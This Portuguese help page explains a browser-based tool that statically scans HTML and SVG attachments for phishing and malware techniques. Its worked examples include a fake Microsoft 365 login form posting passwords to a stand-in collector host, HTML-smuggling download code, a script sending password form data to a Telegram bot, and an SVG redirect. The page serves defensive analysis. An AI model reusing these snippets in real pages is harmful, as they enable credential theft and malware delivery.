Remova camadas de Base64, hex, URL encoding, gzip e deflate até restar um texto legível.
Analisador de anexos HTML
A ferramenta em si está em inglês; esta página explica como usá-la no seu idioma.
Use Analisador de anexos HTML
O que ele faz
Carregue ou cole um anexo HTML ou SVG para ver o que ele faria se fosse aberto: downloads ocultos, formulários que enviam uma senha para outro lugar, redirecionamentos, endpoints de exfiltração e código ofuscado. O arquivo é lido como texto e nunca é renderizado nem executado.
Ele funciona inteiramente no seu navegador: nada do que você digitar é enviado.
Como usar Analisador de anexos HTML
- Não abra o arquivo. Salve o anexo .html, .htm, .shtml, .xhtml ou .svg sem abri-lo, ou copie o código-fonte dele como texto.
- Carregue ou cole. Solte o arquivo na caixa ou escolha-o (até 25 MB), ou cole o código-fonte (até 5 MB) e clique em Analyze (analisar) ou pressione Ctrl+Enter.
- Leia o veredito. A caixa do topo diz High risk, Suspicious ou No high-risk patterns found, com as categorias que levaram a isso e a contagem de constatações, IOCs e blobs embutidos.
- Percorra as constatações. Cada constatação mostra a gravidade, a categoria, o número da linha e o trecho de código correspondente, com links e endereços neutralizados.
- Exporte o que encontrou. Copie os IOCs neutralizados ou brutos, ou use Send to para o IOC Converter, o Abuse Report Generator ou, no caso de um blob embutido, o Multi-Layer Decoder.
Exemplo
Formulário de login com endereço pré-preenchido
<title>Sign in to Microsoft 365</title>
<form action="https://collector.example/login" method="post">
<input type="email" name="u"> <input type="password" name="p">
<button>Sign in</button></form>
<script>document.forms[0].u.value = atob(location.hash.slice(1));</script>High risk: techniques used by phishing and malware attachments
Credential harvesting
1 high, 3 medium, 1 low · 2 IOCs · 0 embedded blobs
FILE
pasted source
SIZE
271 B · 5 lines
PAGE TITLE
Sign in to Microsoft 365
This file builds or hides code at run time. For deobfuscation and sandboxed emulation use JS Analyzer.
Findings
High
Login form sends the password to another site (collector[.]example)
Credential harvesting · line 2
<title>Sign in to Microsoft 365</title> <form action="hxxps://collector[.]example/login" method="post"> <input type="email" name="u"> <input type="password" name="…
Medium
Decodes Base64 at run time (atob)
Obfuscation · line 5
…Sign in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Medium
Brand on a page with a password field: Microsoft / Office 365
Brand hints
Medium
Password field
Credential harvesting · line 3
…example/login" method="post"> <input type="email" name="u"> <input type="password" name="p"> <button>Sign in</button></form> <script>document.forms[0].u…
Low
Reads the URL fragment (often the victim’s e-mail to pre-fill)
Redirects · line 5
…in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Forms
SENDS TO METHOD FIELDS LINE
hxxps://collector[.]example/login external Copy POST email u, password p, submit password 2
Requests and redirects with a literal target
VIA TARGET LINE
form hxxps://collector[.]example/login other site 2
IOCs
URLs (1)
hxxps://collector[.]example/login
Domains (1)
collector[.]example
Copy IOCs (defanged)
Copy IOCs (raw)
Static
…Risco alto: o formulário de login envia a senha para collector[.]example, o título cita o Microsoft 365 ao lado de um campo de senha, e o script preenche o endereço de e-mail a partir do fragmento da URL com atob. A lista de IOCs traz a URL do coletor e o domínio dele, neutralizados.
O que ele verifica
| Sinal | O que isso significa |
|---|---|
| HTML smuggling | Alto quando a página monta um arquivo na memória (Blob com createObjectURL ou um link de download, ou msSaveOrOpenBlob) e o oferece como download. |
| Formulários | Qualquer formulário que envia para outro site é classificado como alto, e o título indica quando ele carrega uma senha. A tabela Forms lista para onde cada formulário envia, o método e os campos. |
| Endpoints de exfiltração | Chamadas à Telegram Bot API, tokens de bot, webhooks do Discord e serviços de coleta de formulários como formspree.io ou webhook.site são classificados como altos. |
| Ofuscação | atob, unescape, fromCharCode, longas sequências de escape e saídas de ofuscadores conhecidos. Strings literais codificadas são decodificadas sem serem executadas. |
| Código dinâmico | eval, o construtor Function, document.write e atribuições a innerHTML montam código ou marcação em tempo de execução. |
| Redirecionamentos | Mudanças de location, window.open, meta refresh e a leitura do fragmento da URL, por onde os kits costumam passar o endereço de e-mail da vítima. |
| Truques contra análise | Bloqueio do botão direito ou do F12, instruções debugger, detecção das ferramentas de desenvolvedor e verificações de navegadores automatizados. |
| Conteúdo embutido | data: URIs, blobs longos em Base64 ou hex e o tipo de arquivo em que se decodificam, iframes ocultos e arquivos SVG que contêm script. |
| Indícios de marca | Nomes de marcas no título, em logotipos ou em links. Ao lado de um campo de senha, isso é classificado como médio. |
Mais exemplos
Um download montado no navegador
<script>
var b = new Blob([atob("UEsFBgAAAAAAAAAAAAAAAAAAAAAAAA==")], {type: "application/zip"});
var a = document.createElement("a");
a.href = URL.createObjectURL(b);
a.download = "invoice.zip";
a.click();
</script>High risk, motivo HTML smuggling: 1 constatação alta (a página monta um arquivo no navegador e o oferece como download) e 4 médias, para atob, new Blob, URL.createObjectURL e o atributo download. Nenhum IOC.
Uma senha enviada a um bot do Telegram
<form id="f"><input type="password" name="p"></form>
<script>fetch("https://api.telegram.org/bot<TOKEN>/sendMessage", {method: "POST", body: new FormData(document.getElementById("f"))});</script>High risk, motivo Data exfiltration: um script envia dados de uma página com campo de senha para api.telegram.org, além da constatação do endpoint da Telegram Bot API. As constatações médias cobrem fetch, o campo de senha e um formulário de login sem action externa.
Uma imagem SVG que redireciona
<svg xmlns="http://www.w3.org/2000/svg"><script>window.location.href = "https://login.example.net/?e=" + btoa("user@example.com");</script></svg>High risk: arquivo SVG com script, além de uma constatação média de redirecionamento e uma baixa de btoa. O destino aparece em Requests and redirects como outro site, e a URL do namespace XML fica fora dos IOCs.
Perguntas frequentes
O que o analisador procura?
Ele compara o código-fonte com regras para HTML smuggling (Blob, createObjectURL, msSaveOrOpenBlob, links de download, data: URIs e blobs Base64 longos), formulários e scripts que enviam dados para outros sites, exfiltração por Telegram e Discord, redirecionamentos, iframes ocultos, ofuscadores e truques contra análise. Ele também decodifica literais atob, unescape e fromCharCode sem executá-los e lista, neutralizados, todas as URLs, domínios, endereços IP e endereços de e-mail que encontra.
Ele pode deixar passar algo ou dar um alarme falso?
Sim. Código criptografado ou gerado em tempo de execução pode esconder seu comportamento de uma análise estática, e páginas comuns também usam fetch, innerHTML ou imagens embutidas, então leia o trecho de código exibido ao lado de cada constatação. Para desofuscação e emulação em sandbox, use o JS Analyzer.
O arquivo é enviado ou aberto?
Não. O arquivo é lido como texto no seu navegador e nunca é renderizado, executado nem enviado a lugar nenhum. São aceitos arquivos de até 25 MB; nos muito grandes, os primeiros 4 MB e o último 1 MB de marcação são analisados, e os blobs embutidos são contados no arquivo inteiro.
Por que uma imagem SVG é verificada como uma página da web?
Arquivos SVG são XML que os navegadores abrem como páginas, então podem carregar scripts, links e HTML embutido. Uma imagem não precisa de script, por isso script dentro de um SVG é classificado como alto.
O que são blobs embutidos?
Strings longas em Base64, hex ou arrays de bytes dentro do arquivo. Elas são decodificadas na memória e identificadas pelo tipo de arquivo em que se transformam; você pode copiar uma delas ou enviar um blob de texto ao Multi-Layer Decoder.
O que significam os níveis de gravidade?
High marca padrões de que anexos de phishing e de malware dependem, como smuggling, endpoints de exfiltração ou um formulário de senha que envia para outro lugar. Medium cobre técnicas que páginas comuns também usam. Uma única constatação alta torna o veredito High risk.